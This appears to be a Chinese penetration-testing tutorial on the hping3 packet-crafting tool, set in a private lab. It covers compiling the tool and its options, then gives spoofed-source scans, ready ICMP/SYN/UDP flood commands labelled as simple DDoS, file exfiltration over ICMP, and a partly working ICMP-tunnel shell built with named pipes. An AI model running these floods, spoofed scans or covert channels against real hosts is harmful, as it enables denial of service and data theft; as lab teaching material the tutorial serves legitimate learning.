老旧但不乏经典的高级组包工具 [ hping3 ]

前言:
    一款经典的高级组包工具,虽然老旧,但不乏经典,你完全可以利用它任意组装专属的 tcp,udp,icmp 数据报文格式,废话不多说,咱们直奔主题…

0x01 实验环境:

1
2
kali ip:192.168.3.38
CentOS6.9 [MidLAMP] ip:192.168.3.16[eth1] 192.168.3.19[eth0] 在此机器上编译安装hping3

0x02 编译安装 hping3:

1
2
3
4
5
6
7
8
# yum install libpcap-devel tcl-devel -y
# wget http://www.hping.org/hping3-20051105.tar.gz
# tar xf hping3-20051105.tar.gz
# cd hping3-20051105
# vi bytesex.h
|| defined(__x86_64__) \ 为了防止后续编译出错,需要在第一个判断下添加此句,如下图所示,添加64位系统平台
# ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
# ./configure && make && make strip && make install

0x03 hping3 各基础选项用途:

全局选项

1
2
3
4
5
6
7
8
9
10
11
-I 指定所使用的网卡接口
-c 指定发包个数
--fast 指定发包速率,每秒10
--faster 指定发包速率,每秒100
--flood 指定发包速率,尽可能按最快速度发,不用回应
-E 从指定的文件中读取数据
-e 增加签名,相当于连接'密码'
-B 启用安全协议
-T 启用路由跟踪模式
-d 指定data数据大小,默认为0
-V 显示发包的详细过程

指定发包模式 [默认走的tcp模式]:

1
2
3
4
5
-0 原始ip模式,即RAWSOCKET
-1 icmp模式
-2 udp模式
-8 扫描模式
-9 被动监听模式,可用于正向shell连接

ip配置选项:

1
2
3
4
5
-a 伪造源ip
--rand-dest 使用随机目的地址
--rand-source 使用随机源地址
-t 指定ttl值,默认为64
-f 使用分片发送

icmp配置选项:

1
-C 指定icmp类型

udp/tcp配置选项:

1
2
3
4
5
6
7
8
9
-s 使用指定的源端口,默认是随机的
-p 指定目的端口
-w 指定数据包大小,默认为64
-F 使用FIN标志
-S 使用SYN标志
-R 使用RST标志
-A 使用ACK标志
-U 使用RUG标志
-P 使用PUSH标志

0x04 常规用法:

直接ping,注意,默认用的是tcp的ping,而非icmp

1
2
# hping3 192.168.3.23
# tcpdump -i eth0 dst host 192.168.3.23

1
# hping3 -1 192.168.3.23 -c 2

使用icmp扫描C段存活主机

1
# for ipaddr in $(seq 1 254);do hping3 192.168.3.$ipaddr -c 1 -1 & done

伪造各种源信息对目标进行探测

1
2
# hping3 -1 --fast -t 128 -a 192.168.3.128 192.168.3.23 -c 100
# tcpdump -i eth0 icmp

1
2
# hping3 -t 128 -a 192.168.3.128 192.168.3.23 -c 100 --fast -s 1235 -p 1234 -c 100
# tcpdump -i eth0 tcp dst port 1234

1
2
# hping3 -2 --fast -c 30 --rand-source 192.168.3.23
# tcpdump -i eth0 dst 192.168.3.23

1
2
# hping3 --fast -c 30 --rand-source 192.168.3.23 -F -S
# tcpdump -i eth0 dst 192.168.3.23

0x05 尝试利用hping3进行常规 tcp / udp 端口扫描,速度比一般的端口扫描工具确实要快很多:

指定目标tcp端口范围进行扫描

1
2
# hping3 -8 70-5500 -S 192.168.3.23 -a 192.168.3.178
# tcpdump -i eth0 dst 192.168.3.23

单个tcp端口扫描

1
2
# hping3 -8 80,3306 -S 192.168.3.23
# tcpdump -i eth0 dst port 3306


多个udp端口扫描

1
2
# hping3 -2 -8 160-170 192.168.3.23
# tcpdump -i eth0 udp

0x06 基于各种类型的洪水攻击 [ icmp,tcp,syn…udp flood ]:

icmp flood

1
2
# hping3 -1 --flood 192.168.3.23 --rand-source 基于icmp的简易ddos
# tcpdump -i eth0 icmp

tcp flood

1
2
# hping3 -p 80 --flood 192.168.3.23 --rand-source 最简易的CC攻击效果
# tcpdump -i eth0 dst port 80


syn flood

1
2
# hping3 -p 80 -S --flood 192.168.3.23 --rand-source
# tcpdump -i eth0 dst port 80

syn ack flood

1
2
# hping3 -p 80 -S -A --flood 192.168.3.23 --rand-source
# tcpdump -i eth0 dst port 80

udp flood

1
2
# hping3 -2 --flood 192.168.3.23 --rand-source
# tcpdump -i eth0 udp

0x07 利用hping3来传输文件 其实就相当于在利用各种隧道传输数据:

1
# hping3 192.168.3.38 --icmp -d 120 --sign klion --file /etc/issue -c 1 -I eth0 在目标机器上执行

1
# hping3 192.168.3.38 --listen klion --icmp -I eth0 > rev.txt 在本地机器上执行

0x08 尝试利用hping3在目标上建立一个正向shell,暂时还有些问题,待后续解决再推上来,不过话说回来,我们的主要目的还是用它来组包,至于弹shell,比它好的方式数不胜数,何必非要用它:

在目标机器上执行

1
2
3
4
5
6
# mknod /tmp/in p
# mknod /tmp/out p
# bash </tmp/in >/tmp/out 2>&1
# hping3 192.168.3.19 --listen klion -I eth0 --icmp > /tmp/in &
# hping3 192.168.3.19 --sign klion -I eth0 --icmp -d 1200 --file /tmp/out &

在本地机器上执行

1
2
3
4
5
# hping3 192.168.3.19 --listen klion -I eth0 --icmp &
# mknod /tmp/out p
# hping3 192.168.3.19 --sign klion -I eth0 --icmp -d 1200 --file /tmp/out &
# cat > /tmp/out
id



小结:
    细心的朋友可能发现了,关于防火墙探测的部分,这里并没有提及,因为那个东西不是这么一款小工具就能搞定的,里面涉及的细节可能非常多,对于渗透来讲,也并不是非常实用,所以想想还是算了,作为基础,想必这些也差不多够用了,其实大家都看到了,工具本身并不难,难的是对tcp/ip协议栈的各个细节的理解和熟悉程度,从协议基础入手,工具自然就能游刃有余,说这款工具的主要目的还是想让大家更透彻的去理解各类端口扫描工具的底层实现细节,方便大家继续深入学习,that’s all… ^_^